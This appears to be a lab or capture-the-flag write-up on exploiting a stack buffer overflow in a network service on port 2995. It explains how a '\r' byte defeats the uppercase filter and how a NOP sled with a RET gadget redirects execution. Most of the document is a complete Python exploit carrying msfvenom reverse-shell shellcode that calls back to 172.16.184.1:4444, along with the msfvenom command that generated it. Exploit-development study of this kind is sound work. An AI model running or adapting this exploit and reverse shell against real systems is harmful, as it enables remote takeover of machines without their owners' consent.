First I analyzed the source code. The program converts the first occurrences of ‘\r’ and ‘\n’ to 0x00. These characters are 0x0a and 0x0d. Then the program converts the string into uppercase. However if there is a character that is converted to zero, then the uppercase transformation ends there.
First I created a proof of concept code and determined the position of the RET address to control the execution flow.
#!/usr/bin/env python import socket import struct IP="172.16.184.152" PORT=2995 buffer = "A"*532 + "B"*4 # Create client socket and connect to the IP/PORT s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((IP, PORT)) # Send data to the server s1.send(buffer) # Close the socket s1.close()
Then I generated a reverse shell shellcode with msfvenom. My IP is 172.16.184.1.
Finally I constructed the updated POC code. The first character should be ‘\x0d’. This will terminate the uppercase conversion. After the first character there are several NOP instructions. These are helpful, because we do not have to use exact addresses to jump to our shellcode. We can simply jump to the NOP slide and the execution will flow smoothly onto our shellcode. The RET address points to an address of a RET instructions, and the next 4 bytes is the address, where we jump. This address should be somewhere in the NOP slide.
I appended several NOP bytes after the shellcode. We use encoder and the ESP point to the end of our shellcode. If there is any PUSH instruction, this will break our shellcode. This is a common problem in exploit development: EIP and ESP is almost the same and this could cause unexpected behaviour.
The final soultion:
#!/usr/bin/env python import socket import struct IP="172.16.184.152" PORT=2995 # msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.184.1 LPORT=4444 -a x86 --platform linux -b '\x00\x0a\x0d' -f python # Found 10 compatible encoders # Attempting to encode payload with 1 iterations of x86/shikata_ga_nai # x86/shikata_ga_nai succeeded with size 95 (iteration=0) # x86/shikata_ga_nai chosen with final size 95 # Payload size: 95 bytes # Final size of python file: 470 bytes buf = "" buf += "\xbe\x14\x92\x9f\xca\xd9\xc9\xd9\x74\x24\xf4\x5b\x31" buf += "\xc9\xb1\x12\x83\xeb\xfc\x31\x73\x0e\x03\x67\x9c\x7d" buf += "\x3f\xb6\x7b\x76\x23\xeb\x38\x2a\xce\x09\x36\x2d\xbe" buf += "\x6b\x85\x2e\x2c\x2a\xa5\x10\x9e\x4c\x8c\x17\xd9\x24" buf += "\xa3\xf8\xa1\xb5\xd3\xfa\xd1\xa4\x7f\x72\x30\x76\x19" buf += "\xd4\xe2\x25\x55\xd7\x8d\x28\x54\x58\xdf\xc2\x09\x76" buf += "\x93\x7a\xbe\xa7\x7c\x18\x57\x31\x61\x8e\xf4\xc8\x87" buf += "\x9e\xf0\x07\xc7" shellcode = buf + "\x90"*100 buffer = "\x0d" + "\x90"*(532-len(shellcode)-1) + shellcode + "\x93\x98\x04\x08" + "\x9e\xfa\xff\xbf" #buffer = "\x0d" + "\x90"*(532-len(shellcode)-1) + shellcode + "\x41\x41\x41\x41" + "\xf3\xfb\xff\xbf" # Create client socket and connect to the IP/PORT s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((IP, PORT)) # Send data to the server s1.send(buffer) # Close the socket s1.close()